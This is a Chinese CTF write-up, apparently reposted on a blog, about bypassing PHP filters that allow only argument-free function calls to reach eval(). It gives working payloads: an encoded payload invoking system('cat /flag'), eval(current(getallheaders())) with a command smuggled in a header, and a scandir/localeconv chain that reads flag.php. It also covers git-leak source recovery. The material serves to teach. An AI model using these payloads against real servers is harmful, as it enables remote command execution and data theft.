    将payload前半部分进行URL编码(目前不知道什么原因),后半部分进行传参

    code=%24_%3D(_%2F_._)%5B''%3D%3D'_'%5D%3B%24_%2B%2B%3B%24__%20%3D%20%24_%2B%2B%3B%24__%20%3D%20%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%20%3D%20%24__.%24_%2B%2B.%24_%2B%2B%3B%24_%20%3D%20%24__%3B%24__%20%3D'_'%3B%24__.%3D%24_%3B%24%24__%5B__%5D(%24%24__%5B_%5D)%3B&__=system&_=cat /flag

    level 24

    参考文章

    RCE篇之无参数rce – 学安全的小白 – 博客园

    https://a1andns.github.io/post/%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

    提示

    根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。

    无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:

    getallheaders()
    session_id()

    其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
    getchwd() :函数返回当前工作目录。
    scandir() :函数返回指定目录中的文件和目录的数组。
    dirname() :函数返回路径中的目录部分。
    chdir() :函数改变当前的目录。

    通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
    – array_reverse():数组反转
    – pos():输出数组第一个元素
    – next():指向数组的下一个元素,并输出

    随后是一些文件读取显示的操作:
    – show_source() – 对文件进行语法高亮显示。
    – readfile() – 输出一个文件。
    – highlight_file() – 对文件进行语法高亮显示。
    – file_get_contents() – 把整个文件读入一个字符串中。
    – readgzfile() – 可用于读取非 gzip 格式的文件

    知识补充

    `current ()`

    获取数组内部指针当前指向的元素,数组刚创建时,指针默认在第一个元素,所以刚创建的数组用 `current()` 等于取第一个元素

    `end ()`强制把数组指针移动到最后一个元素,返回最后一个元素的值

    `getallheaders()`

    几乎只能在 Apache + mod_php 环境下使用,Nginx、CLI、其他服务器都不支持

    获取当前 HTTP 请求的所有请求头信息,并以关联数组形式返回。

    var_dump()

    用于打印内容

    代码

    <?php
    var_dump("hello world"); //打印字符串
    var_dump([1, "test", true]); //打印数组
    ?>

    结果

    string(11) "hello world"
    array(3) {
    [0]=>
    int(1)
    [1]=>
    string(4) "test"
    [2]=>
    bool(true)
    }
    `get_defined_vars ()`

    返回当前作用域内已定义的全部变量,以关联数组形式输出键值对

    返回的内容

    超全局变量

    `$_GET`、`$_POST`、`$_COOKIE`、`$_SERVER`、`$_FILES`

    当前作用域的自定义变量

    你定义的 `$a``$b``$flag`

    当前函数内的局部变量(如果在函数里调用)

    使用涉及`session_id()`读取请求包中的session值时,注意是在请求包含session值以及先开启`session`(要先`session_start()`)才能用

    源码分析

    <?php
    include ("get_flag.php");
    function hello_code($code){
    if(';' === preg_replace('/[^\\W]+\\((?R)?\\)/', '', $code)){
    eval($code);
    }else{
    die("O.o");
    }

    }

    isset($_GET['code']) ? hello_code($_GET['code']) : null;

    highlight_file(__FILE__);

    ?>
    /[^\\W]+\\((?R)?\\)/
    只允许「不带参数的函数调用」

    分隔符:/ 是正则边界,不算规则
    \\W = 非单词字符(等价 [^a-zA-Z0-9_])
    [^…] = 取反,不匹配里面的字符
    所以 [^\\W] = a-z A-Z 0-9 _,也就是:只能是函数名合法字符
    +匹配一次或多次,函数名必须至少有 1 个字符
    \\( 转义后的左括号 (
    (?R)? 递归调用整个正则表达式,? = 匹配 0 次 或 1 次
    \\) 右小括号 )
    preg_replace('/[^\\W]+\\((?R)?\\)/', '', $code)
    preg_replace(正则, 替换成什么, 目标字符串)
    含义:
    在 $code 里,找到所有「合法函数调用」,把它们替换成 空字符串(删掉)

    从内而外进行匹配

    a(b(c()));
    第一次匹配后就还剩下a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;

    操作

    使用?code=phpinfo();,发现成功绕过校验

    使用?code=var_dump(getallheaders());获取到了请求头信息

    我们并不需要多条内容,可以选取其中的前端/末尾信息进行修改,或者在前端/末尾添加新的请求头信息,由于以字符串的形式取出值而不会取出键,所以健名可以随便取

    这里演示修改取值,另外的添加目前没有尝试成功,可以参考一下提供文章的师傅的思路

    定位信息

    1.1修改信息,current表明的是当前指针所指的位置,注意这题并没有像初始化指向最前面,而是指向末尾

    1.2使用eval()执行current(getallheaders())拿到的值system("ls");

    ?code=eval(current(getallheaders()));

    1.3执行命令,获取flag

    补充

    localeconv() 函数返回一个包含本地数字及货币格式信息的数组

    第一个元素的值为 . ,点代表的是当前目录

    取出 .

    scandir()

    是 PHP 用来列出指定目录下的所有文件和子目录的函数,返回一个包含文件名的数组

    Array
    (
    [0] => .
    [1] => ..
    [2] => index.php
    [3] => config.php
    [4] => images
    )

    . = 当前目录

    .. = 上一级目录

    后面是当前文件 / 文件夹

    使用scandir() 列出当前目录下的所有文件和子目录

    [GXYCTF2019]禁止套娃

    由于开始没有发现什么信息,用dirsearch进行目录扫描

    访问后得到以下信息,是Git 仓库的配置文件,考虑存在 Git 泄露

    [core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true

    使用GitHack恢复网站源码,得到index.php

    <?php
    include "flag.php";
    echo "flag在哪里呢?<br>";
    if(isset($_GET['exp'])){
    if (!preg_match('/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i', $_GET['exp'])) {
    if(';' === preg_replace('/[a-z,_]+\\((?R)?\\)/', NULL, $_GET['exp'])) {
    if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    // echo $_GET['exp'];
    @eval($_GET['exp']);
    }
    else{
    die("还差一点哦!");
    }
    }
    else{
    die("再好好想想!");
    }
    }
    else{
    die("还想读flag,臭弟弟!");
    }
    }
    // highlight_file(__FILE__);
    ?>

    /data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i

    / … /:正则定界符
    \\/\\/:转义后的 //(正则里 / 要写 \\/)
    |:或(任意一个匹配就触发)
    i:忽略大小写(PHP:///PhAr:// 也拦)

    /[a-z,_]+\\((?R)?\\)/
    PCRE 递归正则,PHP 里用来强制 “只能无参数函数嵌套”
    a-z:小写字母
    ,_:逗号、下划线
    +:一个或多个
    → 匹配:函数名
    (?R):递归整个正则本身
    ?:递归 0 次或 1 次

    使用var_dump(localeconv());

    拿到第一个元素的值

    使用scandir()列出当前目录下的文件,以文件名构成的数组形式返回

    使用array_reverse()将整个数组倒过来

    使用next()将内部指针指向数组中的下一个元素,并输出

    var_dump () 打印变量 / 数组

    highlight_file () 高亮显示一个文件的源代码

    highlight_file(next(array_reverse(scandir(current(localeconv())))));

    赞(0)
    未经允许不得转载:171主机测评 » rce 相关实例
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址